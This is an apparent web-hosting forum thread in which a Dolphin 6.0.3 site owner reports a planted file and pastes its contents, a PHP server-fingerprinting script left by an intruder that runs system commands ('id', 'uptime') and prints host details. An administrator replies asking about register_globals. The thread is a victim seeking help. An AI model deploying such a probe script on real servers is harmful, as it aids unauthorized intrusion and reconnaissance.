Results 1 to 3 of 3

Thread: 6.0.3 Hacked?

  1. #1

    Join Date
    Jan 2008
    Posts
    72

    Default 6.0.3 Hacked?

    I just got an email from some guy called "Zeffie". The subject was "hacked file", and the body of the email was simply a link to mysite.com/id.txt

    The contents of the txt file were:

    Code:
    <?php
    function ConvertBytes($number)
    {
            $len = strlen($number);
            if($len < 4)
            {
                    return sprintf("%d b", $number);
            }
            if($len >= 4 && $len <=6)
            {
                    return sprintf("%0.2f Kb", $number/1024);
            }
            if($len >= 7 && $len <=9)
            {
                    return sprintf("%0.2f Mb", $number/1024/1024);
            }
       
            return sprintf("%0.2f Gb", $number/1024/1024/1024);
                               
    }
    
    echo "princeteam1979<br>";
    $un = @php_uname();
    $up = system(uptime);
    $id1 = system(id);
    $pwd1 = @getcwd();
    $sof1 = getenv("SERVER_SOFTWARE");
    $php1 = phpversion();
    $name1 = $_SERVER['SERVER_NAME'];
    $ip1 = gethostbyname($SERVER_ADDR);
    $free1= diskfreespace($pwd1);
    $free = ConvertBytes(diskfreespace($pwd1));
    if (!$free) {$free = 0;}
    $all1= disk_total_space($pwd1);
    $all = ConvertBytes(disk_total_space($pwd1));
    if (!$all) {$all = 0;}
    $used = ConvertBytes($all1-$free1);
    $os = @PHP_OS;
    
    
    echo "princeteam1979 was here ..<br>";
    echo "uname -a: $un<br>";
    echo "os: $os<br>";
    echo "uptime: $up<br>";
    echo "id: $id1<br>";
    echo "pwd: $pwd1<br>";
    echo "php: $php1<br>";
    echo "software: $sof1<br>";
    echo "server-name: $name1<br>";
    echo "server-ip: $ip1<br>";
    echo "free: $free<br>";
    echo "used: $used<br>";
    echo "total: $all<br>";
    exit;
    As far as I can tell, the site looks and operates the same as it always has. I'm a little concerned about a file being added from the "princeteam1979" though.

    What is everyone's take on this? Has anyone else encountered this?
    Dolphin 6.0.0003 + Ray 3.0 Modded

  2. #2

    Join Date
    Jan 2008
    Posts
    72

    Default

    The email, which came from zeffie@zeffie.com, was sent to two addresses that I know of. Neither of the addresses were on the domain of the site, which leads me to believe that they accessed the database and probably emailed every email address in it.
    Dolphin 6.0.0003 + Ray 3.0 Modded

  3. #3
    Administrator Smoge's Avatar
    Join Date
    Mar 2005
    Posts
    6,634
    Blog Entries
    5

    Default

    Is register_globals on in your server configuration?

    Make a phpinfo.php file and access it from your browser to check.

    Code:
    <?php
    phpinfo();
    ?>
    Smoge
    ModMySite Administrator

    Problems? Questions? Need modifications or other help with your site?

    Open A Ticket , Send Us An Email Or Give Us A Telephone Call +1 518-632-4152.


LinkBacks (?)

  1. 09-09-2008, 01:16 AM
  2. 08-21-2008, 09:38 AM

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Hacked?
    By Knuty in forum Dolphin General Discussion v5.0 to v5.21
    Replies: 10
    Last Post: 04-18-2010, 09:15 AM
  2. Repeatedly hacked
    By birkenstam in forum Dolphin General Discussion v6.00 and above
    Replies: 4
    Last Post: 11-20-2008, 05:22 AM
  3. My site was hacked
    By chips29 in forum Security / Server Administration
    Replies: 14
    Last Post: 09-01-2007, 04:51 AM
  4. I got hacked! Great :(
    By eSiK in forum Security / Server Administration
    Replies: 22
    Last Post: 05-11-2007, 05:09 AM
  5. hacked
    By valentino in forum Security / Server Administration
    Replies: 7
    Last Post: 09-25-2006, 07:30 AM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •